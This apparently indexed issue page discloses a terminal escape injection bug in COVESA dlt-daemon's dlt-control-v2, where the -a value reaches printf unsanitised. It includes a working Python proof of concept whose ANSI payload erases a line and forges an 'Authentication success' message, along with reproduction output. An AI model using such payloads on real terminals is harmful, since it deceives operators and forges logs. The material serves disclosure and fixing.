dlt-control-v2 in terminal escape injection
- Dominant language
- C
- Stars
- 459
- Forks
- 340
- Avg merge
- 4d 21h
- Merged PRs (30d)
- 2
Description
### Summary
The tool is vulnerable to Terminal Escape Injection due to improper input validation. The application accepts a raw string via the -a flag, which is assigned directly to dltdata.avalue (dlt-control-v2.c:397) without any validation or transformation. This raw data is subsequently propagated to printf() at line 610 (and identically at lines 632, 667, and 700) without sanitization.
https://github.com/COVESA/dlt-daemon/blob/b84dbc0d1ab35f686dd225956d33c003b5917ab6/src/console/dlt-control-v2.c#L610
Consequently, an attacker can inject malicious ANSI escape sequences that are executed by the user's terminal emulator, leading to log forgery, terminal state manipulation, and potential deception of system operators.
### PoC
```
#!/usr/bin/env python3
import subprocess
import sys
PAYLOAD = "\x1b[1A\x1b[2K\r[\x1b[32m\x1b[1mOK\x1b[0m] Authentication success"
def run_exploit(binary_path):
cmd = [
binary_path,
"-p", "3490",
"-a", PAYLOAD,
"-c", "TEST",
"-s", "1",
"-m", "injection_test",
"localhost"
]
subprocess.run(cmd)
if __name__ == "__main__":
if len(sys.argv) < 2:
print("[!] Error: You must provide the path to the binary.")
print("[!] Usage: python3 poc.py ")
sys.exit(1)
binary = sys.argv[1]
try:
run_exploit(binary)
except FileNotFoundError:
print(f"[!] Binary not found: {binary}")
```
### Reproduction Steps
```
$ python3 poc.py ./src/console/dlt-control-v2
Cannot open configuration file: etc/dlt.conf
ERROR: Failed to read ECUId from dlt.conf
[OK] Authentication success
ConId: TEST
ServiceId: 1
Message: injection_test
[67483.359139]~DLT~37986~INFO ~dlt_client_send_ctrl_msg_v2: Control message forwarded : DLT_SERVICE_ID_SET_LOG_LEVEL
```
Contributor guide
No contributing guide indexed for this repository
Research direction
Read src/console/dlt-control-v2.c around lines 397, 610, 632, 667, and 700 to trace the -a value into the output calls. Run the provided Python PoC against the dlt-control-v2 binary and observe the terminal output. Done means the payload no longer changes terminal display state while normal control-message output still appears.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- c
- Domain
- cli, security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Quiet
- Clarity
- Mostly clear
- Newbie friendliness
- 65/100